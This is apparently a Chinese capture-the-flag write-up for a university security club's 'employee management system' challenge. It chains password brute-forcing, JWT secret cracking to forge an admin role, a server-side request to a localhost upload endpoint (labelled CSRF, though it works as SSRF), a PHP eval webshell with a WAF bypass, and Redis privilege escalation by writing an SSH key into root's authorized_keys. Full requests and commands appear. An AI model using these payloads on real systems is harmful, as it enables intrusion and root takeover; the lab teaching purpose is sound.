小记一下企业员工管理系统 弱口令爆破+JWT越权+CSRF+PHP一句话木马+Redis提权 齐鲁师范学院网络安全社团练习平台

这道题做了我超级超级久 知识点真的好多 牛逼(主要真的不知道怎么提权 后来才知道Redis这个也能提权 然后悟了 就做出来了 这道题的踩坑记录小记一下!

企业员工管理系统

1
2
3
4
5
6
7
8
出题人: Yime | 难度: 中等

这是一个匆忙交付的企业员工管理系统,只包含基础的用户功能。
请尝试发现系统中可能存在的安全问题,不断深入,最终获得Flag。

Hint 1

系统中"普通用户"的用户名为“user”

弱口令爆破

这道题我踩坑在Burp了(这台电脑用的社区版 爆破了N久 我一直以为是被学校防火墙拦了 后来发现社区版非常慢!要用专业版

这里根据提示输入user

image-20251228234821050

使用Burp的爆破功能爆破 用Top10000密码字典就好

image-20251029210207502

得到user的密码为password123

JWT越权

使用user账户登录 查看cookie时发现为jwt

image-20251228235253436

去jwt解密网站看到了签名方式为HS256

image-20251228235523564

猜测为对称密钥弱口令 使用hashcat进行爆破 将jwt保存到jwt.hash文件

image-20251029212835307

得到对称密钥为admin123 在同样的网站 输入对称密钥admin123 然后把role改为admin进行越权

image-20251229000145684

记得点击编码 把编码后的jwt 当作cookie 用hackbar进行测试 越权成功!

image-20251229000321367

CSRF

使用dirsearch 来扫一下有没有特殊的目录

image-20251229001233600

看到了/test目录 再次扫描/test目录 找到了一个之前测试的上传接口!

image-20251229001400706

尝试访问这个路径 发现没办法访问 显示要使用本地访问

image-20251229001439692

管理员权限下有修改头像的点 这里正好有一个输入url的点

image-20251229110703268

构造一个http://127.0.0.1/test/upload.php url先尝试发送 看一下回显结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /profile.php HTTP/1.1
Host: challenge.qlnu-sec.cn:9510
Content-Length: 74
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://challenge.qlnu-sec.cn:9510
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge.qlnu-sec.cn:9510/profile.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=304d0c07b516c0156e26fe14fe67bb63; jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzY2OTc3NDg2LCJleHAiOjE3NjY5ODEwODZ9.umawTL-mnCHkvI-ZnERK5NyM_X9upywk_DmvqSWjUwQ
Connection: keep-alive

target_username=user&avatar_url=http%3A%2F%2F127.0.0.1%2Ftest%2Fupload.php

上传成功

image-20251229112314216

把头像文件下载下来可以看到里面有接口的详细介绍

image-20251229112343562

PHP一句话木马上传

使用刚刚的上传接口 构建一个php一句话木马的URL 尝试一下

1
http://127.0.0.1/test/upload.php?content=<?php @eval($_POST['attack']);?>&filename=1.php

image-20251229112904232

尝试绕WAF的时候发现应该是 看到php的字符串就会拦截 用以下方式绕过就好啦

1
http://127.0.0.1/test/upload.php?content=<?@eval($_POST['a']);?>&filename=1.php

Burp发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /profile.php HTTP/1.1
Host: challenge.qlnu-sec.cn:9510
Content-Length: 155
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://challenge.qlnu-sec.cn:9510
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge.qlnu-sec.cn:9510/profile.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=304d0c07b516c0156e26fe14fe67bb63; jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzY2OTc3NDg2LCJleHAiOjE3NjY5ODEwODZ9.umawTL-mnCHkvI-ZnERK5NyM_X9upywk_DmvqSWjUwQ
Connection: keep-alive

target_username=user&avatar_url=http%3A%2F%2F127.0.0.1%2Ftest%2Fupload.php%3Fcontent%3D%3C%3F%40eval%28%24_POST%5B%27a%27%5D%29%3B%3F%3E%26filename%3D1.php

用蚁剑链接一下 get低权限shell成功

image-20251229113212107

Redis提权

我真的没想到用Redis提权(长知识了 我一开始把精力放在变成交互式shell了(然后发现方向错了

用蚁剑的虚拟终端连上 先生成ssh密钥对

1
ssh-keygen -t rsa -f redis_key

image-20251229113501343

公钥前后加上空行

1
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > 1.txt

写入公钥到redis

1
cat 1.txt | redis-cli -h 127.0.0.1 -x set crack

查看写入情况

1
redis-cli -h 127.0.0.1 get crack

image-20251229113752875

设置保存文件的位置

1
redis-cli -h 127.0.0.1 config set dir /root/.ssh

设置文件名

1
redis-cli -h 127.0.0.1 config set dbfilename authorized_keys

保存即可

1
redis-cli -h 127.0.0.1 save

image-20251229114017944

用ssh链接 发现提权成功

1
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i redis_key root@127.0.0.1 'whoami'

image-20251229114129709

最后getflag

image-20251229114157676